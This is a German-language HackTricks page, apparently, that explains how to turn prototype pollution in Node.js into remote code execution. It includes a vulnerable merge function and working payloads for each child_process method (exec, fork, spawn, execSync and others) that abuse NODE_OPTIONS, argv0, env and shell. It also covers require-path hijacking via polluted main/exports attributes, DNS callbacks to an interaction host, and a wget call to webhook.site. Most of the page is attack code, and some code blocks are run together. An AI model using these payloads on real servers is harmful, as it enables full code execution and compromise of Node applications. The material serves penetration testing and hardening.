Prototype Pollution to RCE
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merch
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Verwundbarer Code
Stellen Sie sich ein echtes JS vor, das einen Code wie den folgenden verwendet:
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
PP2RCE über Umgebungsvariablen
PP2RCE bedeutet Prototype Pollution to RCE (Remote Code Execution).
Laut diesem Bericht wird, wenn ein Prozess gestartet wird mit einer Methode aus child_process
(wie fork
oder spawn
oder andere), die Methode normalizeSpawnArguments
aufgerufen, die ein Prototype Pollution Gadget zum Erstellen neuer Umgebungsvariablen ist:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
Überprüfen Sie diesen Code, Sie können sehen, dass es möglich ist, envPairs
einfach durch Vergiftung des Attributs .env
zu vergiften.
Vergiftung von __proto__
__proto__
Beachten Sie, dass aufgrund der Funktionsweise der Funktion normalizeSpawnArguments
aus der Bibliothek child_process
von Node, wenn etwas aufgerufen wird, um eine neue Umgebungsvariable für den Prozess festzulegen, Sie nur irgendetwas vergiften müssen.
Wenn Sie beispielsweise __proto__.avar="valuevar"
ausführen, wird der Prozess mit einer Variable namens avar
mit dem Wert valuevar
gestartet.
Damit die Umgebungsvariable die erste ist, die Sie benötigen, um das .env
-Attribut zu vergiften, und (nur in einigen Methoden) wird diese Variable die erste sein (was den Angriff ermöglicht).
Deshalb ist NODE_OPTIONS
nicht im .env
in folgendem Angriff enthalten.
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
DNS-Interaktion
Mit den folgenden Payloads ist es möglich, die NODE_OPTIONS-Umgebungsvariable zu missbrauchen, über die wir zuvor gesprochen haben, und zu erkennen, ob dies mit einer DNS-Interaktion funktioniert hat:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}
Oder, um WAFs daran zu hindern, nach der Domain zu fragen:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE Schwachstelle bei den child_process Funktionen
In diesem Abschnitt werden wir jede Funktion von child_process
analysieren, um Code auszuführen und zu sehen, ob wir eine Technik verwenden können, um diese Funktion dazu zu zwingen, Code auszuführen:
exec
Ausnutzung
```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');
</details>
<details>
<summary><strong><code>execFile</code> Ausnutzung</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');
// stdin trick - not working
// Not using stdin
// Windows - not working
Für execFile
um zu funktionieren, MUSS node ausgeführt werden, damit die NODE_OPTIONS funktionieren.
Wenn es nicht node ausführt, musst du herausfinden, wie du die Ausführung von dem, was es ausführt, mit Umgebungsvariablen ändern und sie setzen kannst.
Die anderen Techniken funktionieren ohne diese Anforderung, weil es möglich ist zu ändern, was ausgeführt wird über die Prototypenverunreinigung. (In diesem Fall, selbst wenn du .shell
verunreinigen kannst, wirst du nicht das verunreinigen, was ausgeführt wird).
fork
Ausnutzung
```javascript // environ trick - working // Working after kEmptyObject (fix) const { fork } = require('child_process'); b = {} b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"} b.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = fork('something');
// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require('child_process'); p = {} p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = fork('something');
// stdin trick - not working // Not using stdin
// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require('child_process'); b = {} b.proto.execPath = "/bin/sh" b.proto.argv0 = "/bin/sh" b.proto.execArgv = ["-c", "touch /tmp/fork-execArgv"] var proc = fork('./a_file.js');
// Windows // Working after kEmptyObject (fix) const { fork } = require('child_process'); b = {} b.proto.execPath = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = fork('./a_file.js');
</details>
<details>
<summary><strong><code>spawn</code> Ausnutzung</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
Ausnutzung
```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execFileSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execFileSync('something');
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFileSync('something');
// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execFileSync-stdin}\n' var proc = execFileSync('something');
// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" p.proto.argv0 = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');
</details>
<details>
<summary><strong><code>execSync</code> Ausnutzung</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync
Ausnutzung
```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of node p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/spawnSync-stdin}\n' var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows // NOT working after require(fix) without options const { spawnSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)
</div>
</details>
## Erzwingen von Spawn
In den vorherigen Beispielen haben Sie gesehen, wie Sie die Gadget-Funktionalität auslösen können, die `spawn` aufruft, wenn eine Funktionalität vorhanden sein muss (alle Methoden von `child_process`, die verwendet werden, um etwas auszuführen, rufen sie auf). In dem vorherigen Beispiel war das Teil des Codes, aber was ist, wenn der Code es nicht aufruft.
### Steuerung eines require-Dateipfads
In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein `require` ausgeführt wird. In diesem Szenario muss der Angreifer nur eine `.js`-Datei im System finden, die eine Spawn-Methode ausführt, wenn sie importiert wird. Einige Beispiele für häufige Dateien, die eine Spawn-Funktion aufrufen, wenn sie importiert werden, sind:
* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Weitere Dateien unten finden
Das folgende einfache Skript sucht nach Aufrufen von `child_process` ohne jegliche Polsterung (um Aufrufe innerhalb von Funktionen zu vermeiden):
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Festlegen des Dateipfads über die Prototyp-Verschmutzung
Die vorherige Technik erfordert, dass der Benutzer den Pfad der Datei kontrolliert, die benötigt wird. Aber das ist nicht immer der Fall.
Wenn der Code jedoch nach der Prototyp-Verschmutzung ein require ausführt, selbst wenn Sie den Pfad, der benötigt wird, nicht kontrollieren, können Sie einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung missbrauchen. Selbst wenn die Codezeile also require("./a_file.js")
oder require("bytes")
lautet, wird das von Ihnen verschmutzte Paket benötigt.
Daher ist dies der Angriff, wenn nach Ihrer Prototyp-Verschmutzung ein require ausgeführt wird und keine Spawn-Funktion vorhanden ist:
Finden Sie eine
.js
-Datei im System, die etwas mitchild_process
ausführt, wenn sie benötigt wirdWenn Sie Dateien auf die Plattform hochladen können, die Sie angreifen, könnten Sie eine solche Datei hochladen
Verschmutzen Sie die Pfade, um das Laden der
.js
-Datei zu erzwingen, die etwas mitchild_process
ausführtVerschmutzen Sie die Umgebungs-/Befehlszeile, um beliebigen Code auszuführen, wenn eine
child_process
-Ausführungsfunktion aufgerufen wird (siehe die anfänglichen Techniken)
Absolutes require
Wenn das durchgeführte require absolut ist (require("bytes")
) und das Paket kein Hauptattribut in der package.json
-Datei enthält, können Sie das main
-Attribut verschmutzen und das require dazu bringen, eine andere Datei auszuführen.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main = "/tmp/malicious.js"// Trigger gadgetvar proc = require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc = require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2recconst { fork } = require('child_process');console.log("Hellooo from malicious");fork("anything");
Relativer require - 1
Wenn anstelle eines absoluten Pfads ein relativer Pfad geladen wird, können Sie Node dazu bringen, einen anderen Pfad zu laden:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
Relativer Bedarf - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".": "./malicious.js" }b.__proto__.path = "/tmp"b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc = require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc = require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2recconst { fork } = require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relativer Bedarf - 3
Ähnlich wie zuvor wurde dies in diesem Bericht gefunden.
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}
require('./usage.js')
VM-Geräte
Im Paper https://arxiv.org/pdf/2207.11171.pdf wird auch darauf hingewiesen, dass die Kontrolle von contextExtensions
aus einigen Methoden der vm
-Bibliothek als Gadget verwendet werden könnte.
Jedoch wurde es, wie bei den vorherigen child_process
-Methoden, in den neuesten Versionen behoben.
Fixes & Unerwarteter Schutz
Bitte beachten Sie, dass die Prototyp-Verschmutzung funktioniert, wenn das Attribut eines Objekts, auf das zugegriffen wird, undefined ist. Wenn in dem Code dieses Attribut einen Wert erhält, können Sie es nicht überschreiben.
Im Juni 2022 wurde in diesem Commit die Variable options
anstelle von {}
zu einem kEmptyObject
geändert. Dies verhindert eine Prototyp-Verschmutzung, die die Attribute von options
beeinflussen könnte, um RCE zu erlangen.
Zumindest ab v18.4.0 wurde dieser Schutz implementiert, und daher funktionieren die spawn
- und spawnSync
-Exploits, die die Methoden beeinflussen, nicht mehr (wenn keine options
verwendet werden!).
In diesem Commit wurde die Prototyp-Verschmutzung von contextExtensions
aus der vm-Bibliothek ebenfalls irgendwie behoben, indem die Optionen auf kEmptyObject
anstelle von {}
gesetzt wurden.
Andere Gadgets
Referenzen
Last updated